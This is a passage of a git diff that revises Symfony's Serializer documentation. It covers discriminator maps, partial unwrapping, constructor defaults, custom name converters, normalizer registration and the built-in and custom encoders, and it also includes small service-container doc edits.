+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+When working with associated objects, a property sometimes reference an
+interface or abstract class. When deserializing these properties, the
+Serializer has to know which concrete class to initialize. This is done
+using a *discriminator class mapping*.
+
+Imagine there is an ``InvoiceItemInterface`` that is implemented by the
+``Product`` and ``Shipping`` objects. When serializing an object, the
+serializer will add an extra "discriminator attribute". This contains
+either ``product`` or ``shipping``. The discriminator class map maps
+these type names to the real PHP class name when deserializing:
+
+.. configuration-block::
+
+    .. code-block:: php-attributes
+
+        namespace App\Model;
+
+        use Symfony\Component\Serializer\Attribute\DiscriminatorMap;
+
+        #[DiscriminatorMap(
+            typeProperty: 'type',
+            mapping: [
+                'product' => Product::class,
+                'shipping' => Shipping::class,
+            ]
+        )]
+        interface InvoiceItemInterface
+        {
+            // ...
+        }
+
+    .. code-block:: yaml
+
+        App\Model\InvoiceItemInterface:
+            discriminator_map:
+                type_property: type
+                mapping:
+                    product: 'App\Model\Product'
+                    shipping: 'App\Model\Shipping'
+
+    .. code-block:: xml
+
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping
+                https://symfony.com/schema/dic/serializer-mapping/serializer-mapping-1.0.xsd"
+        >
+            <class name="App\Model\InvoiceItemInterface">
+                <discriminator-map type-property="type">
+                    <mapping type="product" class="App\Model\Product"/>
+                    <mapping type="shipping" class="App\Model\Shipping"/>
+                </discriminator-map>
+            </class>
+        </serializer>
+
+With the discriminator map configured, the serializer can now pick the
+correct class for properties typed as ``InvoiceItemInterface``::
+
+.. configuration-block::
+
+    .. code-block:: php-symfony
+
+        class InvoiceLine
+        {
+            public function __construct(
+                private InvoiceItemInterface $invoiceItem
+            ) {
+                $this->invoiceItem = $invoiceItem;
+            }
+
+            public function getInvoiceItem(): InvoiceItemInterface
+            {
+                return $this->invoiceItem;
+            }
+
+            // ...
+        }
+
+        // ...
+        $invoiceLine = new InvoiceLine(new Product());
+
+        $jsonString = $serializer->serialize($invoiceLine, 'json');
+        // $jsonString contains {"type":"product",...}
+
+        $invoiceLine = $serializer->deserialize($jsonString, InvoiceLine::class, 'json');
+        // $invoiceLine contains new InvoiceLine(new Product(...))
+
+    .. code-block:: php-standalone
+
+        // ...
+        use Symfony\Component\Serializer\Mapping\ClassDiscriminatorFromClassMetadata;
+        use Symfony\Component\Serializer\Mapping\Factory\ClassMetadataFactory;
+        use Symfony\Component\Serializer\Mapping\Loader\AttributeLoader;
+        use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
+        use Symfony\Component\Serializer\Serializer;
+
+        class InvoiceLine
+        {
+            public function __construct(
+                private InvoiceItemInterface $invoiceItem
+            ) {
+                $this->invoiceItem = $invoiceItem;
+            }
+
+            public function getInvoiceItem(): InvoiceItemInterface
+            {
+                return $this->invoiceItem;
+            }
+
+            // ...
+        }
+
+        // ...
+
+        // Configure a loader to retrieve mapping information like DiscriminatorMap.
+        // E.g. when using PHP attributes:
+        $classMetadataFactory = new ClassMetadataFactory(new AttributeLoader());
+        $discriminator = new ClassDiscriminatorFromClassMetadata($classMetadataFactory);
+        $normalizers = [
+            new ObjectNormalizer($classMetadataFactory, null, null, null, $discriminator),
+        ];
+
+        $serializer = new Serializer($normalizers, $encoders);
+
+        $invoiceLine = new InvoiceLine(new Product());
+
+        $jsonString = $serializer->serialize($invoiceLine, 'json');
+        // $jsonString contains {"type":"product",...}
+
+        $invoiceLine = $serializer->deserialize($jsonString, InvoiceLine::class, 'json');
+        // $invoiceLine contains new InvoiceLine(new Product(...))
+
+.. _serializer-unwrapping-denormalizer:
+
+Deserializing Input Partially (Unwrapping)
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+The serializer will always deserialize the complete input string into PHP
+values. When connecting with third party APIs, you often only need a
+specific part of the returned response.
+
+To avoid deserializing the whole response, you can use the
+:class:`Symfony\\Component\\Serializer\\Normalizer\\UnwrappingDenormalizer`
+and "unwrap" the input data::
 
-It is built on top of the Symfony Framework and its Serializer
-component. It provides custom normalizers and a custom encoder, custom metadata
-and a caching system.
+    $jsonData = '{"result":"success","data":{"person":{"name": "Jane Doe","age":57}}}';
+    $data = $serialiser->deserialize($jsonData, Object::class, [
+        UnwrappingDenormalizer::UNWRAP_PATH => '[data][person]',
+    ]);
+    // $data is Person(name: 'Jane Doe', age: 57)
+
+The ``unwrap_path`` is a :ref:`property path <property-access-reading-arrays>`
+of the PropertyAccess component, applied on the denormalized array.
+
+Handling Constructor Arguments
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+If the class constructor defines arguments, as usually happens with
+`Value Objects`_, the serializer will match the parameter names with the
+deserialized attributes. If some parameters are missing, a
+:class:`Symfony\\Component\\Serializer\\Exception\\MissingConstructorArgumentsException`
+is thrown.
+
+In these cases, use the ``default_constructor_arguments`` context option to
+define default values for the missing parameters::
+
+    use App\Model\Person;
+    use Symfony\Component\Serializer\Normalizer\AbstractNormalizer;
+    // ...
+
+    $jsonData = '{"age":39,"name":"Jane Doe"}';
+    $person = $serializer->deserialize($jsonData, Person::class, 'json', [
+        AbstractNormalizer::DEFAULT_CONSTRUCTOR_ARGUMENTS => [
+            Person::class => ['sportsperson' => true],
+        ],
+    ]);
+    // $person is Person(name: 'Jane Doe', age: 39, sportsperson: true);
+
+Recursive Denormalization and Type Safety
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+When a ``PropertyTypeExtractor`` is available, the normalizer will also
+check that the data to denormalize matches the type of the property (even
+for primitive types). For instance, if a ``string`` is provided, but the
+type of the property is ``int``, an
+:class:`Symfony\\Component\\Serializer\\Exception\\UnexpectedValueException`
+will be thrown. The type enforcement of the properties can be disabled by
+setting the serializer context option
+``ObjectNormalizer::DISABLE_TYPE_ENFORCEMENT`` to ``true``.
+
+Handling Boolean Values
+~~~~~~~~~~~~~~~~~~~~~~~
+
+.. versionadded:: 7.1
+
+    The ``AbstractNormalizer::FILTER_BOOL`` context option was introduced in Symfony 7.1.
+
+PHP considers many different values as true or false. For example, the
+strings ``true``, ``1``, and ``yes`` are considered true, while
+``false``, ``0``, and ``no`` are considered false.
+
+When deserializing, the Serializer component can take care of this
+automatically. This can be done by using the ``AbstractNormalizer::FILTER_BOOL``
+context option::
 
-If you want to leverage the full power of the Symfony Serializer component,
-take a look at how this bundle works.
+    use Symfony\Component\Serializer\Normalizer\AbstractNormalizer;
+    // ...
+
+    $person = $serializer->denormalize(['sportsperson' => 'yes'], Person::class, context: [
+        AbstractNormalizer::FILTER_BOOL => true
+    ]);
+    // $person contains a Person instance with sportsperson set to true
+
+This context makes the deserialization process behave like the
+:phpfunction:`filter_var` function with the ``FILTER_VALIDATE_BOOL`` flag.
+
+.. _serializer-enabling-metadata-cache:
+
+Configuring the Metadata Cache
+------------------------------
+
+The metadata for the serializer is automatically cached to enhance application
+performance. By default, the serializer uses the ``cache.system`` cache pool
+which is configured using the :ref:`cache.system <reference-cache-system>`
+option.
+
+Going Further with the Serializer
+---------------------------------
 
 .. toctree::
+    :glob:
     :maxdepth: 1
 
-    serializer/custom_encoders
-    serializer/custom_normalizer
-    serializer/custom_context_builders
+    serializer/*
 
+.. _`JMS serializer`: https://github.com/schmittjoh/serializer
 .. _`API Platform`: https://api-platform.com
 .. _`JSON-LD`: https://json-ld.org
 .. _`Hydra Core Vocabulary`: https://www.hydra-cg.com/
@@ -582,3 +2144,10 @@ take a look at how this bundle works.
 .. _`GraphQL`: https://graphql.org
 .. _`JSON:API`: https://jsonapi.org
 .. _`HAL`: https://stateless.group/hal_specification.html
+.. _`RFC 7807`: https://tools.ietf.org/html/rfc7807
+.. _`RFC 4122`: https://tools.ietf.org/html/rfc4122
+.. _`RFC 3339`: https://tools.ietf.org/html/rfc3339#section-5.8
+.. _`list of PHP timezones`: https://www.php.net/manual/en/timezones.php
+.. _`data URI`: https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/Data_URIs
+.. _`PHP reflection`: https://php.net/manual/en/book.reflection.php
+.. _`Value Objects`: https://en.wikipedia.org/wiki/Value_object
diff --git a/serializer/custom_context_builders.rst b/serializer/custom_context_builders.rst
index 00d08ef71d3..8eeb584d761 100644
--- a/serializer/custom_context_builders.rst
+++ b/serializer/custom_context_builders.rst
@@ -1,11 +1,9 @@
 How to Create your Custom Context Builder
 =========================================
 
-The :doc:`Serializer Component </components/serializer>` uses Normalizers
-and Encoders to transform any data to any data-structure (e.g. JSON).
-That serialization process can be configured thanks to a
-:ref:`serialization context <serializer_serializer-context>`, which can be built thanks to
-:ref:`context builders <component-serializer-context-builders>`.
+That serialization process of the :doc:`Serializer Component </serializer>`
+can be configured by the :ref:`serialization context <serializer-context>`,
+which can be built thanks to :ref:`context builders <serializer-using-context-builders>`.
 
 Each built-in normalizer/encoder has its related context builder. However, you
 may want to create a custom context builder for your
diff --git a/serializer/custom_encoders.rst b/serializer/custom_encoders.rst
deleted file mode 100644
index dca6aa12ec4..00000000000
--- a/serializer/custom_encoders.rst
+++ /dev/null
@@ -1,61 +0,0 @@
-How to Create your Custom Encoder
-=================================
-
-The :doc:`Serializer Component </components/serializer>` uses Normalizers
-to transform any data to an array. Then, by leveraging *Encoders*, that data can
-be converted into any data-structure (e.g. JSON).
-
-The Component provides several built-in encoders that are described
-:doc:`in the serializer component </components/serializer>` but you may want
-to use another structure that's not supported.
-
-Creating a new encoder
-----------------------
-
-Imagine you want to serialize and deserialize YAML. For that you'll have to
-create your own encoder that uses the
-:doc:`Yaml Component </components/yaml>`::
-
-    // src/Serializer/YamlEncoder.php
-    namespace App\Serializer;
-
-    use Symfony\Component\Serializer\Encoder\DecoderInterface;
-    use Symfony\Component\Serializer\Encoder\EncoderInterface;
-    use Symfony\Component\Yaml\Yaml;
-
-    class YamlEncoder implements EncoderInterface, DecoderInterface
-    {
-        public function encode($data, string $format, array $context = []): string
-        {
-            return Yaml::dump($data);
-        }
-
-        public function supportsEncoding(string $format, array $context = []): bool
-        {
-            return 'yaml' === $format;
-        }
-
-        public function decode(string $data, string $format, array $context = []): array
-        {
-            return Yaml::parse($data);
-        }
-
-        public function supportsDecoding(string $format, array $context = []): bool
-        {
-            return 'yaml' === $format;
-        }
-    }
-
-Registering it in your app
---------------------------
-
-If you use the Symfony Framework, then you probably want to register this encoder
-as a service in your app. If you're using the :ref:`default services.yaml configuration <service-container-services-load-example>`,
-that's done automatically!
-
-.. tip::
-
-    If you're not using :ref:`autoconfigure <services-autoconfigure>`, make sure
-    to register your class as a service and tag it with ``serializer.encoder``.
-
-Now you'll be able to serialize and deserialize YAML!
diff --git a/serializer/custom_name_converter.rst b/serializer/custom_name_converter.rst
new file mode 100644
index 00000000000..49dafb02cc4
--- /dev/null
+++ b/serializer/custom_name_converter.rst
@@ -0,0 +1,112 @@
+How to Create your Custom Name Converter
+========================================
+
+The Serializer Component uses :ref:`name converters <serializer-name-conversion>`
+to transform the attribute names (e.g. from snake_case in JSON to CamelCase
+for PHP properties).
+
+Imagine you have the following object::
+
+    namespace App\Model;
+
+    class Company
+    {
+        public string $name;
+        public string $address;
+    }
+
+And in the serialized form, all attributes must be prefixed by ``org_`` like
+the following:
+
+.. code-block:: json
+
+    {"org_name": "Acme Inc.", "org_address": "123 Main Street, Big City"}
+
+A custom name converter can handle such cases::
+
+    namespace App\Serializer;
+
+    use Symfony\Component\Serializer\NameConverter\NameConverterInterface;
+
+    class OrgPrefixNameConverter implements NameConverterInterface
+    {
+        public function normalize(string $propertyName, ?string $class = null, ?string $format = null, array $context = []): string
+        {
+            // during normalization, add the prefix
+            return 'org_'.$propertyName;
+        }
+
+        public function denormalize(string $propertyName, ?string $class = null, ?string $format = null, array $context = []): string
+        {
+            // remove the 'org_' prefix on denormalizing
+            return str_starts_with($propertyName, 'org_') ? substr($propertyName, 4) : $propertyName;
+        }
+    }
+
+.. versionadded:: 7.1
+
+    Accessing the current class name, format and context via
+    :method:`Symfony\\Component\\Serializer\\NameConverter\\NameConverterInterface::normalize`
+    and :method:`Symfony\\Component\\Serializer\\NameConverter\\NameConverterInterface::denormalize`
+    was introduced in Symfony 7.1.
+
+.. note::
+
+    You can also implement
+    :class:`Symfony\\Component\\Serializer\\NameConverter\\AdvancedNameConverterInterface`
+    to access the current class name, format and context.
+
+Then, configure the serializer to use your name converter:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/serializer.yaml
+        framework:
+            serializer:
+                # pass the service ID of your name converter
+                name_converter: 'App\Serializer\OrgPrefixNameConverter'
+
+    .. code-block:: xml
+
+        <!-- config/packages/serializer.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <!-- pass the service ID of your name converter -->
+                <framework:serializer
+                    name-converter="App\Serializer\OrgPrefixNameConverter"
+                />
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/serializer.php
+        use App\Serializer\OrgPrefixNameConverter;
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->serializer()
+                // pass the service ID of your name converter
+                ->nameConverter(OrgPrefixNameConverter::class)
+            ;
+        };
+
+Now, when using the serializer in the application, all attributes will be
+prefixed by ``org_``::
+
+    // ...
+    $company = new Company('Acme Inc.', '123 Main Street, Big City');
+
+    $json = $serializer->serialize($company, 'json');
+    // {"org_name": "Acme Inc.", "org_address": "123 Main Street, Big City"}
+    $companyCopy = $serializer->deserialize($json, Company::class, 'json');
+    // Same data as $company
diff --git a/serializer/custom_normalizer.rst b/serializer/custom_normalizer.rst
index 1519c2adf22..10092c6baa7 100644
--- a/serializer/custom_normalizer.rst
+++ b/serializer/custom_normalizer.rst
@@ -1,10 +1,11 @@
 How to Create your Custom Normalizer
 ====================================
 
-The :doc:`Serializer component </components/serializer>` uses
-normalizers to transform any data into an array. The component provides several
-:ref:`built-in normalizers <component-serializer-normalizers>` but you may need to create
-your own normalizer to transform an unsupported data structure.
+The :doc:`Serializer component </serializer>` uses normalizers to transform
+any data into an array. The component provides several
+ref:`built-in normalizers <serializer-built-in-normalizers>` but you may
+need to create your own normalizer to transform an unsupported data
+structure.
 
 Creating a New Normalizer
 -------------------------
@@ -68,6 +69,63 @@ a service and :doc:`tagged </service_container/tags>` with ``serializer.normaliz
 If you're using the :ref:`default services.yaml configuration <service-container-services-load-example>`,
 this is done automatically!
 
+If you're not using ``autoconfigure``, you have to tag the service with
+``serializer.normalizer``. You can also use this method to set a priority
+(higher means it's called earlier in the process):
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/services.yaml
+        services:
+            # ...
+
+            App\Serializer\TopicNormalizer:
+                tags:
+                    # register the normalizer with a high priority (called earlier)
+                    - { name: 'serializer.normalizer', priority: 500 }
+
+    .. code-block:: xml
+
+        <!-- config/services.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <services>
+                <!-- ... -->
+
+                <service id="App\Serializer\TopicNormalizer">
+                    <!-- register the normalizer with a high priority (called earlier) -->
+                    <tag name="serializer.normalizer"
+                        priority="500"
+                    />
+                </service>
+            </services>
+        </container>
+
+    .. code-block:: php
+
+        // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        use App\Serializer\TopicNormalizer;
+
+        return function(ContainerConfigurator $container) {
+            // ...
+
+            // if you're using autoconfigure, the tag will be automatically applied
+            $services->set(TopicNormalizer::class)
+                // register the normalizer with a high priority (called earlier)
+                ->tag('serializer.normalizer', [
+                    'priority' => 500,
+                ])
+            ;
+        };
+
 Performance of Normalizers/Denormalizers
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
diff --git a/serializer/encoders.rst b/serializer/encoders.rst
new file mode 100644
index 00000000000..d5a98356156
--- /dev/null
+++ b/serializer/encoders.rst
@@ -0,0 +1,373 @@
+Serializer Encoders
+===================
+
+The Serializer component provides several built-in encoders:
+
+:class:`Symfony\\Component\\Serializer\\Encoder\\JsonEncoder`
+    This class encodes and decodes data in `JSON`_.
+
+:class:`Symfony\\Component\\Serializer\\Encoder\\XmlEncoder`
+    This class encodes and decodes data in `XML`_.
+
+:class:`Symfony\\Component\\Serializer\\Encoder\\YamlEncoder`
+    This encoder encodes and decodes data in `YAML`_. This encoder requires the
+    :doc:`Yaml Component </components/yaml>`.
+
+:class:`Symfony\\Component\\Serializer\\Encoder\\CsvEncoder`
+    This encoder encodes and decodes data in `CSV`_.
+
+.. note::
+
+    You can also create your own encoder to use another structure. Read more at
+    :ref:`Creating a Custom Encoder <serializer-custom-encoder>` below.
+
+All these encoders are enabled by default when using the Serializer component
+in a Symfony application.
+
+The ``JsonEncoder``
+-------------------
+
+The ``JsonEncoder`` encodes to and decodes from JSON strings, based on the PHP
+:phpfunction:`json_encode` and :phpfunction:`json_decode` functions.
+
+It can be useful to modify how these functions operate in certain instances
+by providing options such as ``JSON_PRESERVE_ZERO_FRACTION``. You can use
+the serialization context to pass in these options using the key
+``json_encode_options`` or ``json_decode_options`` respectively::
+
+    $this->serializer->serialize($data, 'json', [
+        'json_encode_options' => \JSON_PRESERVE_ZERO_FRACTION,
+    ]);
+
+All context options available for the JSON encoder are:
+
+``json_decode_associative`` (default: ``false``)
+    If set to ``true`` returns the result as an array, returns a nested ``stdClass`` hierarchy otherwise.
+``json_decode_detailed_errors`` (default: ``false``)
+    If set to ``true`` exceptions thrown on parsing of JSON are more specific. Requires `seld/jsonlint`_ package.
+``json_decode_options`` (default: ``0``)
+    Flags passed to :phpfunction:`json_decode` function.
+``json_encode_options`` (default: ``\JSON_PRESERVE_ZERO_FRACTION``)
+    Flags passed to :phpfunction:`json_encode` function.
+``json_decode_recursion_depth`` (default: ``512``)
+    Sets maximum recursion depth.
+
+The ``CsvEncoder``
+------------------
+
+The ``CsvEncoder`` encodes to and decodes from CSV. Serveral :ref:`context options <serializer-context>`
+are available to customize the behavior of the encoder:
+
+``csv_delimiter`` (default: ``,``)
+    Sets the field delimiter separating values (one character only).
+``csv_enclosure`` (default: ``"``)
+    Sets the field enclosure (one character only).
+``csv_end_of_line`` (default: ``\n``)
+    Sets the character(s) used to mark the end of each line in the CSV file.
+``csv_escape_char`` (default: empty string)
+
+    .. deprecated:: 7.2
+
+        The ``csv_escape_char`` option was deprecated in Symfony 7.2.
+
+    Sets the escape character (at most one character).
+``csv_key_separator`` (default: ``.``)
+    Sets the separator for array's keys during its flattening
+``csv_headers`` (default: ``[]``, inferred from input data's keys)
+    Sets the order of the header and data columns.
+    E.g. if you set it to ``['a', 'b', 'c']`` and serialize
+    ``['c' => 3, 'a' => 1, 'b' => 2]``, the order will be ``a,b,c`` instead
+    of the input order (``c,a,b``).
+``csv_escape_formulas`` (default: ``false``)
+    Escapes fields containing formulas by prepending them with a ``\t`` character.
+``as_collection`` (default: ``true``)
+    Always returns results as a collection, even if only one line is decoded.
+``no_headers`` (default: ``false``)
+    Setting to ``false`` will use first row as headers when denormalizing,
+    ``true`` generates numeric headers.
+``output_utf8_bom`` (default: ``false``)
+    Outputs special `UTF-8 BOM`_ along with encoded data.
+
+The ``XmlEncoder``
+------------------
+
+This encoder transforms PHP values into XML and vice versa.
+
+For example, take an object that is normalized as following::
+
+    $normalizedArray = ['foo' => [1, 2], 'bar' => true];
+
+The ``XmlEncoder`` will encode this object like:
+
+.. code-block:: xml
+
+    <?xml version="1.0" encoding="UTF-8" ?>
+    <response>
+        <foo>1</foo>
+        <foo>2</foo>
+        <bar>1</bar>
+    </response>
+
+The special ``#`` key can be used to define the data of a node::
+
+    ['foo' => ['@bar' => 'value', '#' => 'baz']];
+
+    /* is encoded as follows:
+       <?xml version="1.0"?>
+       <response>
+           <foo bar="value">
+              baz
+           </foo>
+       </response>
+     */
+
+Furthermore, keys beginning with ``@`` will be considered attributes, and
+the key  ``#comment`` can be used for encoding XML comments::
+
+    $encoder = new XmlEncoder();
+    $xml = $encoder->encode([
+        'foo' => ['@bar' => 'value'],
+        'qux' => ['#comment' => 'A comment'],
+    ], 'xml');
+    /* will return:
+       <?xml version="1.0"?>
+       <response>
+           <foo bar="value"/>
+           <qux><!-- A comment --!><qux>
+       </response>
+     */
+
+You can pass the context key ``as_collection`` in order to have the results
+always as a collection.
+
+.. note::
+
+    You may need to add some attributes on the root node::
+
+        $encoder = new XmlEncoder();
+        $encoder->encode([
+            '@attribute1' => 'foo',
+            '@attribute2' => 'bar',
+            '#' => ['foo' => ['@bar' => 'value', '#' => 'baz']]
+        ], 'xml');
+
+        // will return:
+        // <?xml version="1.0"?>
+        // <response attribute1="foo" attribute2="bar">
+        // <foo bar="value">baz</foo>
+        // </response>
+
+.. tip::
+
+    XML comments are ignored by default when decoding contents, but this
+    behavior can be changed with the optional context key ``XmlEncoder::DECODER_IGNORED_NODE_TYPES``.
+
+    Data with ``#comment`` keys are encoded to XML comments by default. This can be
+    changed by adding the ``\XML_COMMENT_NODE`` option to the ``XmlEncoder::ENCODER_IGNORED_NODE_TYPES``
+    key of the ``$defaultContext`` of the ``XmlEncoder`` constructor or
+    directly to the ``$context`` argument of the ``encode()`` method::
+
+        $xmlEncoder->encode($array, 'xml', [XmlEncoder::ENCODER_IGNORED_NODE_TYPES => [\XML_COMMENT_NODE]]);
+
+The ``XmlEncoder`` Context Options
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+These are the options available on the :ref:`serializer context <serializer-context>`:
+
+``xml_format_output`` (default: ``false``)
+    If set to true, formats the generated XML with line breaks and indentation.
+``xml_version`` (default: ``1.0``)
+    Sets the XML version attribute.
+``xml_encoding`` (default: ``utf-8``)
+    Sets the XML encoding attribute.
+``xml_standalone`` (default: ``true``)
+    Adds standalone attribute in the generated XML.
+``xml_type_cast_attributes`` (default: ``true``)
+    This provides the ability to forget the attribute type casting.
+``xml_root_node_name`` (default: ``response``)
+    Sets the root node name.
+``as_collection`` (default: ``false``)
+    Always returns results as a collection, even if only one line is decoded.
+``decoder_ignored_node_types`` (default: ``[\XML_PI_NODE, \XML_COMMENT_NODE]``)
+    Array of node types (`DOM XML_* constants`_) to be ignored while decoding.
+``encoder_ignored_node_types`` (default: ``[]``)
+    Array of node types (`DOM XML_* constants`_) to be ignored while encoding.
+``load_options`` (default: ``\LIBXML_NONET | \LIBXML_NOBLANKS``)
+    XML loading `options with libxml`_.
+``save_options`` (default: ``0``)
+    XML saving `options with libxml`_.
+``remove_empty_tags`` (default: ``false``)
+    If set to ``true``, removes all empty tags in the generated XML.
+``cdata_wrapping`` (default: ``true``)
+    If set to ``false``, will not wrap any value containing one of the
+    following characters ( ``<``, ``>``, ``&``) in `a CDATA section`_ like
+    following: ``<![CDATA[...]]>``.
+``cdata_wrapping_pattern`` (default: ````/[<>&]/````)
+    A regular expression pattern to determine if a value should be wrapped
+    in a CDATA section.
+
+.. versionadded:: 7.1
+
+    The ``cdata_wrapping_pattern`` option was introduced in Symfony 7.1.
+
+
+Example with a custom ``context``::
+
+    use Symfony\Component\Serializer\Encoder\XmlEncoder;
+
+    $data = [
+        'id' => 'IDHNQIItNyQ',
+        'date' => '2019-10-24',
+    ];
+
+    $xmlEncoder->encode($data, 'xml', ['xml_format_output' => true]);
+    // outputs:
+    // <?xml version="1.0"?>
+    // <response>
+    //   <id>IDHNQIItNyQ</id>
+    //   <date>2019-10-24</date>
+    // </response>
+
+    $xmlEncoder->encode($data, 'xml', [
+        'xml_format_output' => true,
+        'xml_root_node_name' => 'track',
+        'encoder_ignored_node_types' => [
+            \XML_PI_NODE, // removes XML declaration (the leading xml tag)
+        ],
+    ]);
+    // outputs:
+    // <track>
+    //   <id>IDHNQIItNyQ</id>
+    //   <date>2019-10-24</date>
+    // </track>
+
+The ``YamlEncoder``
+-------------------
+
+This encoder requires the :doc:`Yaml Component </components/yaml>` and
+transforms from and to Yaml.
+
+Like other encoder, several :ref:`context options <serializer-context>` are
+available:
+
+``yaml_inline`` (default: ``0``)
+    The level where you switch to inline YAML.
+``yaml_indent`` (default: ``0``)
+    The level of indentation (used internally).
+``yaml_flags`` (default: ``0``)
+    A bit field of ``Yaml::DUMP_*``/``Yaml::PARSE_*`` constants to
+    customize the encoding/decoding YAML string.
+
+.. _serializer-custom-encoder:
+
+Creating a Custom Encoder
+-------------------------
+
+Imagine you want to serialize and deserialize `NEON`_. For that you'll have to
+create your own encoder::
+
+    // src/Serializer/YamlEncoder.php
+    namespace App\Serializer;
+
+    use Nette\Neon\Neon;
+    use Symfony\Component\Serializer\Encoder\DecoderInterface;
+    use Symfony\Component\Serializer\Encoder\EncoderInterface;
+
+    class NeonEncoder implements EncoderInterface, DecoderInterface
+    {
+        public function encode($data, string $format, array $context = [])
+        {
+            return Neon::encode($data);
+        }
+
+        public function supportsEncoding(string $format)
+        {
+            return 'neon' === $format;
+        }
+
+        public function decode(string $data, string $format, array $context = [])
+        {
+            return Neon::decode($data);
+        }
+
+        public function supportsDecoding(string $format)
+        {
+            return 'neon' === $format;
+        }
+    }
+
+.. tip::
+
+    If you need access to ``$context`` in your ``supportsDecoding`` or
+    ``supportsEncoding`` method, make sure to implement
+    ``Symfony\Component\Serializer\Encoder\ContextAwareDecoderInterface``
+    or ``Symfony\Component\Serializer\Encoder\ContextAwareEncoderInterface`` accordingly.
+
+Registering it in Your App
+~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+If you use the Symfony Framework, then you probably want to register this encoder
+as a service in your app. If you're using the
+:ref:`default services.yaml configuration <service-container-services-load-example>`,
+that's done automatically!
+
+If you're not using :ref:`autoconfigure <services-autoconfigure>`, make sure
+to register your class as a service and tag it with
+:ref:`serializer.encoder <reference-dic-tags-serializer-encoder>`:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/services.yaml
+        services:
+            # ...
+
+            App\Serializer\NeonEncoder:
+                tags: ['serializer.encoder']
+
+    .. code-block:: xml
+
+        <!-- config/services.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <services>
+                <!-- ... -->
+
+                <service id="App\Serializer\NeonEncoder">
+                    <tag name="serializer.encoder"/>
+                </service>
+            </services>
+        </container>
+
+    .. code-block:: php
+
+        // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        use App\Serializer\NeonEncoder;
+
+        return function(ContainerConfigurator $container) {
+            // ...
+
+            $services->set(NeonEncoder::class)
+                ->tag('serializer.encoder')
+            ;
+        };
+
+Now you'll be able to serialize and deserialize NEON!
+
+.. _JSON: https://www.json.org/json-en.html
+.. _XML: https://www.w3.org/XML/
+.. _YAML: https://yaml.org/
+.. _CSV: https://tools.ietf.org/html/rfc4180
+.. _seld/jsonlint: https://github.com/Seldaek/jsonlint
+.. _`UTF-8 BOM`: https://en.wikipedia.org/wiki/Byte_order_mark
+.. _`DOM XML_* constants`: https://www.php.net/manual/en/dom.constants.php
+.. _`options with libxml`: https://www.php.net/manual/en/libxml.constants.php
+.. _`a CDATA section`: https://en.wikipedia.org/wiki/CDATA
+.. _NEON: https://ne-on.org/
diff --git a/service_container.rst b/service_container.rst
index 6eb86231b63..30b69b8aa14 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -608,7 +608,7 @@ accessor methods for parameters::
     // adds a new parameter
     $container->setParameter('mailer.transport', 'sendmail');
 
-.. caution::
+.. warning::
 
     The used ``.`` notation is a
     :ref:`Symfony convention <service-naming-conventions>` to make parameters
@@ -1421,7 +1421,7 @@ and ``site_update_manager.normal_users``. Thanks to the alias, if you type-hint
 If you want to pass the second, you'll need to :ref:`manually wire the service <services-wire-specific-service>`
 or to create a named :ref:`autowiring alias <autowiring-alias>`.
 
-.. caution::
+.. warning::
 
     If you do *not* create the alias and are :ref:`loading all services from src/ <service-container-services-load-example>`,
     then *three* services have been created (the automatic service + your two services)
diff --git a/service_container/compiler_passes.rst b/service_container/compiler_passes.rst
index fc5728685e0..11458a4e8e3 100644
--- a/service_container/compiler_passes.rst
+++ b/service_container/compiler_passes.rst
@@ -3,53 +3,85 @@ How to Work with Compiler Passes
 
 Compiler passes give you an opportunity to manipulate other
 :doc:`service definitions </service_container/definitions>` that have been
-registered with the service container. You can read about how to create them in
-the components section ":ref:`components-di-separate-compiler-passes`".
+registered with the service container.
 
-Compiler passes are registered in the ``build()`` method of the application kernel::
+.. _kernel-as-compiler-pass:
+
+If your compiler pass is relatively small, you can define it inside the
+application's ``Kernel`` class instead of creating a
+:ref:`separate compiler pass class <components-di-separate-compiler-passes>`.
+
+To do so, make your kernel implement :class:`Symfony\\Component\\DependencyInjection\\Compiler\\CompilerPassInterface`
+and add the compiler pass code inside the ``process()`` method::
 
     // src/Kernel.php
     namespace App;
 
-    use App\DependencyInjection\Compiler\CustomPass;
